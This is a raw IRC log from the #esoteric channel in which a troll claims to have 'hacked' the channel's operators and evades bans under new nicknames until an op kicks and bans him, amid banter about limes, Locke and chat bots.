PRIVMSG #esoteric :`echo eh what < 1395621803 542971 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395621827 327899 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :PRAISE THE BOT-KICKER < 1395621828 368192 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :LOL < 1395621831 248751 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bike: also, you deserve a rightful mapoling for dissing my bot, you fascist pig! < 1395621843 370197 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :mapoling is just a sublimation of breaking wheels < 1395621849 241541 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you eurofascist piece of trash < 1395621855 69240 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :fungot is still here < 1395621855 257142 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :lexande: " heh, heh! fnord eliot was a mason an' agin senct zenas was very < 1395621862 969359 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :TYPO... OPS... WE HAVE ZERO OPS < 1395621869 6952 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :SCRIPT HACK THE ROOM! < 1395621870 67720 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bike: euro? talk to my 'murican hand! < 1395621879 201401 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i know you're canadian you queenist < 1395621894 209853 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :listen. do you know locke's whole thing about the consent of the governed. < 1395621895 79120 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1395621911 794349 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :YEAH, IVE JUMPED IP'S 15 TIMES, CANADA IS WHERE ITS AT RIGHT NOW < 1395621919 399949 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :damn < 1395621921 701572 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :CANADA = IS WHERE IT'S AT < 1395621923 259123 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :LOL < 1395621926 794572 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :this dudes'b ehind seven proxies we're fucked < 1395621930 939487 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bike: eeeeeeh... I think we read some Locke in one philosphy class many years ago. maybe. < 1395621939 806881 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :cool story, bro < 1395621946 42913 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :heyelliot: I AM AT CANADA! < 1395621954 63865 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh. well the basic idea is that governments exist by the consent of people in them. < 1395621988 103247 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :tl;dr we have ops because we don't like heyelliot, rather than having heyelliot because we don't like ops. < 1395622002 366004 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :and the wheel goes round and breaks the fucking fascist. < 1395622006 917826 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that means you, metasepia. < 1395622028 590494 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Bike for president of canada < 1395622038 611881 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :my bot ain't no fascist! it is an active socialist, all for the wellbeing of the cephalopod community! < 1395622061 220936 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :boily = go CANADA < 1395622066 494120 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :shachaf: that would be an indubitable improvement over our playmobil prime minister. < 1395622084 476030 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :wow like fascists can't be socialist, whatever lefty < 1395622104 179177 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :again you guys are welcome for hacking the OPS out < 1395622107 445510 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :what sayin < 1395622117 595365 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :just** < 1395622138 339716 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bike: I have your approximate coördinates! I will find you, then make you listen to Céline! < 1395622139 585392 :heyelliot!~heyelliot@1.214.231.219 PRIVMSG #esoteric :sorry BIKE, you'll be alright < 1395622171 399390 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :boily: do you have my body weigh by any chance < 1395622218 38793 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :shachaf: let me check. I haven't updated the The File in a long time. < 1395622218 265311 :heye2!~heyelliot@213.79.68.6 JOIN :#esoteric < 1395622231 990330 :heye2!~heyelliot@213.79.68.6 PRIVMSG #esoteric :still no OPS in here? < 1395622234 243620 :heye2!~heyelliot@213.79.68.6 PRIVMSG #esoteric :wikileaks.org < 1395622235 450576 :heye2!~heyelliot@213.79.68.6 PRIVMSG #esoteric :lol < 1395622242 400067 :heye2!~heyelliot@213.79.68.6 PRIVMSG #esoteric :all hail heyelliot < 1395622244 829834 :heye2!~heyelliot@213.79.68.6 PRIVMSG #esoteric :! < 1395622267 727967 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :sounds like an occasion for a good mapoling < 1395622269 879332 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :shachaf: I am shocked. I don't even have no entry about you at all. < 1395622298 919705 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bike: can I brandish the 12MAPOLE OF JUSTICE? < 1395622306 802996 :heye2!~heyelliot@213.79.68.6 PRIVMSG #esoteric :where did elliott go? < 1395622312 108740 :heye2!~heyelliot@213.79.68.6 PRIVMSG #esoteric :anyone know? < 1395622328 479105 :ChanServ!ChanServ@services. MODE #esoteric +o :Bike > 1395622328 500841 NAMES :#esoteric < 1395622336 13974 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Hell yeah. < 1395622338 288888 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION lends his trusty mapole to Bike < 1395622339 816522 :heye2!~heyelliot@213.79.68.6 PRIVMSG #esoteric :hey Bike! < 1395622350 210444 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bike: also, can you unbanish elliott? < 1395622351 797984 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu KICK #esoteric metasepia :this @ kills fascists < 1395622356 805325 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :EH! < 1395622367 621469 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :I haven't had op commands, like, ever, let's see how this works. < 1395622370 837402 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu KICK #esoteric heye2 :heye2 < 1395622372 621423 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu KICK #esoteric heyelliot :heyelliot < 1395622395 276305 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1395622416 530360 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :POWER TO THE PEOPLE! AND CUTTLEFISHES! < 1395622418 60447 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Now that we have solidified the Molotov-Ribbentrop pact, I'm pleased to announce that metasepia may remain. < 1395622430 461076 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :holy shit, i actually spelled that right < 1395622431 39036 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :fizzie runs esolangs.org now? < 1395622456 315181 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :apparently. < 1395622465 709207 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :those limes on the front page sure look delicious < 1395622472 151522 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :why is HackEgo broken? < 1395622476 267146 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :broken? < 1395622480 171293 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`ls < 1395622480 679735 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395622483 283660 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh. < 1395622490 262549 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :whenever i go to the wiki i start craving sour citrus < 1395622504 155000 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :boily: also, elliott was just kicked, not banned. don't unbanish what ain't banished, as they say. < 1395622504 341865 :bikeslover!~heyelliot@201.20.235.200 JOIN :#esoteric < 1395622507 685574 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu KICK #esoteric bikeslover :bikeslover < 1395622517 494543 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :is the plural of cuttlefish cuttlefishes? < 1395622517 920021 :bikeslover!~heyelliot@201.20.235.200 JOIN :#esoteric < 1395622519 549207 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bike: indeed. < 1395622522 514080 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Actually, know, maybe that was going to be a gay joke. < 1395622526 170057 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Lay it on me. < 1395622527 114449 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :*no < 1395622533 618748 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :newsham: I don't think so, considering that the plural of fish is fish. < 1395622546 878663 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Bike: umm? 17:38 -!- mode/#esoteric [+b *elliott*!*@*] by elliott < 1395622550 480203 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395622559 25868 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :am i the only one smiling at brainfuck.being featured language? < 1395622572 4868 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :elliott can unban himself if he cares to < 1395622572 313257 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :lexande: oh. < 1395622589 278995 :bikeslover!~heyelliot@201.20.235.200 PRIVMSG #esoteric :hey bike guess what < 1395622589 465688 :bikeslover!~heyelliot@201.20.235.200 PRIVMSG #esoteric :wikileaks.org < 1395622589 669558 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Why someone would want to be in this channel I can't quite fathom. < 1395622598 776732 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :bikeslover: that's not a gay joke. < 1395622617 500706 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :elliott is the Chuck Norris of this chännel. < 1395622638 839341 :bikeslover!~heyelliot@201.20.235.200 PRIVMSG #esoteric :elliotsXlover < 1395622641 148887 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :shachaf: what about a nice gin tonic with a big slice of lime? < 1395622652 199565 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric +b :*!*heyelliot@201.20.235.* > 1395622652 221723 NAMES :#esoteric < 1395622652 428235 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu KICK #esoteric bikeslover :The complete script of Bee movie < 1395622661 759182 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :What a letdown. < 1395622667 968822 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i've never had gin < 1395622676 449612 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i don't like carbonated things, though < 1395622679 360213 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :so unlikely < 1395622683 435466 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :but i'd go for just a lime < 1395622686 631820 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :or a lemon < 1395622689 142223 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Do people eat limes < 1395622696 375037 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that's a serious question. i have no idea. < 1395622705 336360 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fwiw, I do. < 1395622710 861901 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :how do you eat them? < 1395622718 949148 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :same as lemons < 1395622720 62808 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :like lemons? < 1395622727 613905 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :how do you eat lemons < 1395622732 629887 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :limewise < 1395622741 395002 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :shachaf................................ < 1395622752 473117 :elliotsXlover!~heyelliot@176.61.109.144 JOIN :#esoteric < 1395622755 298732 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :(the joke is likewise) < 1395622759 483774 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395622759 689130 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395622769 758721 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :shachaf: you are a vile punster of the worst kind. < 1395622772 89767 :elliotsXlover!~heyelliot@176.61.109.144 PRIVMSG #esoteric :hey bike! < 1395622774 129015 :elliotsXlover!~heyelliot@176.61.109.144 PRIVMSG #esoteric :lol < 1395622780 948631 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :alright, let's try some advanced techniques. < 1395622781 271081 :elliotsXlover!~heyelliot@176.61.109.144 PRIVMSG #esoteric :wikileaks.org < 1395622810 178683 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(meanwhile, Japan is fawning over Natalia Poklonskaya in a very disturbing fashion.) < 1395622834 428992 :elliotsXlover!~heyelliot@176.61.109.144 PRIVMSG #esoteric :bring it! < 1395622846 234598 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric +b :*!*elliot*@* > 1395622846 256246 NAMES :#esoteric < 1395622852 139561 :elliotsXlover!~heyelliot@176.61.109.144 QUIT :Client Quit < 1395622856 874523 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Let's see how this works- oh, well ok then. < 1395622898 71360 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :apparently someone posted my quote from this channel to qdb.us < 1395622898 258696 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i thought that wasn't supposed to happen < 1395622898 258862 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :who was it < 1395622935 115967 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what quote < 1395622942 140739 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :mynameL http://qdb.us/search?q=shachaf < 1395622950 529621 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :s/L/:/ < 1395622953 272338 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric -b :*elliott*!*@* > 1395622953 294290 NAMES :#esoteric < 1395622954 19991 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :also what is that website < 1395622960 633323 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :some sort of cheap knockoff of HackEgo? < 1395622966 628629 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :it's qdb.us. it's like bash.org. < 1395622997 526706 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :this syntax is so weird. < 1395623172 666969 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Like, can I get a list of all bans? Who knows?? < 1395623187 767720 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Bike: yes, type /mode +b < 1395623198 544233 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh! amazing. < 1395623261 296787 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :irc truly is amazing technology. < 1395623308 855452 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :only the best Finnish engineering practices were applied in the conception of IRC. < 1395623565 337730 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric +b :*!*wikileaks@* > 1395623565 360030 NAMES :#esoteric < 1395623570 450213 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :http://esolangs.org/wiki/Quiler lol @ third paragraph < 1395623571 766249 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric -bb *!*wikileaks@1.214.231.* :*!*wikileaks@*.dip0.t-ipconnect.de > 1395623571 788477 NAMES :#esoteric < 1395623593 497168 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric -bbbb *!*showeduth@*.static.tpgi.com.au *!*heyelliot@206.116.240.* *!*wikileaks@* :*!*elliot*@* > 1395623593 519079 NAMES :#esoteric < 1395623601 72593 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :there, nice n consolidated. < 1395623639 409105 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :myname: scary < 1395623710 942265 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i like how 'joke' and 'unsuitable for programming' are distinct categories. < 1395623740 505135 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric -bbbb *!*heyelliot@201.20.235.* *!*elliotshe@*.bb.online.no *!*wikileaks@*.14-1.cable.virginm.net :*wikileaks*!*@* > 1395623740 526855 NAMES :#esoteric < 1395623760 659741 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bike: -b? < 1395623775 575566 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah i'll just ban them again if they show up probably. < 1395623790 716506 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i unbanned the wrong things in the second to last command anyway. < 1395624626 849303 :boily!~boily@96.127.201.149 QUIT :Quit: SPAMMY CHICKEN < 1395624630 505318 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1395625087 727805 :ircXman1!~heyelliot@213-21-72-27.customer.t3.se JOIN :#esoteric < 1395625141 485755 :ircXman1!~heyelliot@213-21-72-27.customer.t3.se PRIVMSG #esoteric :anyone heard about wikileaks.org? < 1395625144 628247 :ircXman1!~heyelliot@213-21-72-27.customer.t3.se PRIVMSG #esoteric :lol @ bike < 1395625154 549396 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395625188 691062 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu KICK #esoteric ircXman1 :ircXman1 < 1395625229 797084 :zoneofdanger!~zoneofdan@unaffiliated/zoneofdanger JOIN :#esoteric < 1395625397 157594 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric +b :*!*elliot*@* > 1395625397 180893 NAMES :#esoteric < 1395625481 759231 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I bought some "smartwater", which, as far as I can tell, just has 'electrolytes' added for taste. Not likely to be worse than just being a waste of money, I assume < 1395625492 793827 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(I needed a water bottle, and decided to indulge my curiosity) < 1395625503 130363 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :dude be careful, you don't want to accidentally ionize a kidney < 1395625522 679685 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :It's got what plants crave. < 1395625525 63987 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :does it have five kinds of sugar? < 1395625547 309705 :zoneofdanger!~zoneofdan@unaffiliated/zoneofdanger PRIVMSG #esoteric :pikhq: electrolytes? < 1395625637 849130 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :zoneofdanger: watch Idiocracy < 1395625660 259121 :zoneofdanger!~zoneofdan@unaffiliated/zoneofdanger PRIVMSG #esoteric :Sgeo: what do you think i was quotinuing? < 1395625745 939390 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1395625815 458735 :oerjan!oerjan@sprocket.nvg.ntnu.no PART :#esoteric < 1395625815 685279 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395626111 179209 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I want to play Marble Drop :( < 1395626228 115343 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.youtube.com/watch?v=HLGYxKdbE2Q < 1395626306 939851 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Goodnight! < 1395629492 71217 :zoneofdanger!~zoneofdan@unaffiliated/zoneofdanger NICK :zoneofdanger_ < 1395630378 250757 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why are the comments on news sites so terrible? < 1395630393 215670 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"It makes perfect sense... By law, ALL crime belongs in CITIES. so that suburbs can stay quiet and pristine. Therefore, when a crime happens in the suburbs, it's the city's fault." < 1395630407 138912 :zoneofdanger_!~zoneofdan@unaffiliated/zoneofdanger NICK :zoneofdanger < 1395630462 20221 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://newyork.cbslocal.com/2014/03/23/edison-officials-work-to-relocate-students-of-burned-down-james-monroe-elementary/#comment-1297563836 < 1395631134 67524 :john_metcalf!~digital_w@228.15.125.91.dyn.plus.net PART :#esoteric < 1395631247 289171 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395631380 237917 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1395631417 880636 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :) >'And now I'm back, from outer space' < 1395631418 280504 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: |open quote < 1395631418 467544 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: | >'And now I'm back, from outer space' < 1395631418 467701 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: | ^ < 1395631423 371193 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :) <'And now I'm back, from outer space' < 1395631423 850591 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: |open quote < 1395631424 58929 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: | <'And now I'm back, from outer space' < 1395631424 59083 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: | ^ < 1395631429 382302 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oh < 1395631434 551012 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :) <'And now Im back, from outer space' < 1395631435 30394 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: +---------------------------------+ < 1395631435 216990 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: |And now Im back, from outer space| < 1395631435 217134 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Sgeo: +---------------------------------+ < 1395631496 361367 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :) <'Don't put me in a box! < 1395631496 770671 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :newsham: |syntax error < 1395631496 957412 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :newsham: | <'Don't put me in a box! < 1395631534 395592 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :) <'Dont put me in a box!' < 1395631534 880231 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :newsham: +---------------------+ < 1395631535 66734 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :newsham: |Dont put me in a box!| < 1395631535 66883 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :newsham: +---------------------+ < 1395631917 453283 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :) <'Don\'t leave out apostrophes' < 1395631917 859931 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :oerjan: |open quote < 1395631918 48301 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :oerjan: | <'Don\'t leave out apostrophes' < 1395631918 48474 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :oerjan: | ^ < 1395631924 642587 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :stupid j < 1395632087 971365 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :exclusive-oerjan < 1395632120 792750 :madbr!boulam@69-165-212-148.cable.teksavvy.com JOIN :#esoteric < 1395632127 895883 :madbr!boulam@69-165-212-148.cable.teksavvy.com PRIVMSG #esoteric :I have a question < 1395632141 989917 :madbr!boulam@69-165-212-148.cable.teksavvy.com PRIVMSG #esoteric :Can the java garbage collector collect whole threads? < 1395633623 501664 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i for one welcome our new Bike overlords < 1395633648 762681 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :) <'te''st' < 1395633649 171185 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Bike: +-----+ < 1395633649 358155 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Bike: |te'st| < 1395633649 358338 :jconn!~va@1-130.ipswich.cc.colocall.com PRIVMSG #esoteric :Bike: +-----+ < 1395633658 194898 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh good, my least favorite escaping method < 1395633755 432963 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION thinks he's getting a pascal flashback < 1395633783 751705 :nisstyre_!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395633810 318671 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Remote host closed the connection < 1395634077 792110 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yep that was it < 1395634495 300715 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395635293 723078 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395635329 159228 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395635585 185188 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 246 seconds < 1395635628 222590 :zoneofdanger!~zoneofdan@unaffiliated/zoneofdanger NICK :zoneofdanger_ < 1395635837 946170 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1395635852 229868 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I have recently been introduced to the word prepone < 1395635892 386429 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :!define prepone < 1395636019 923354 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :!define postpone < 1395636083 539978 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is it possible to change my watchlist token to a number of my choice? < 1395636244 877140 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395636249 366211 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395636446 923192 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why are the categories for the "Floater" article commented out and the URL for the interpreter is missing entirely? < 1395636717 754356 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :eek < 1395636812 805828 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm more worried about the layout being all messed up < 1395636839 363561 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: the new wiki looks _very_ messed up in style to me hth < 1395636872 417324 :aloril!~aloril@dsl-tkubrasgw2-54f80b-12.dhcp.inet.fi JOIN :#esoteric < 1395637220 199661 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell fizzie the new wiki looks _very_ messed up in style to me hth < 1395637220 673449 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395637233 627366 :ket1v!~ket1v@147.69.1.51 QUIT :Remote host closed the connection < 1395637349 123441 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell fizzie never mind ctrl-f5 fixed it on second try (don't know what i did wrong first time) < 1395637349 310882 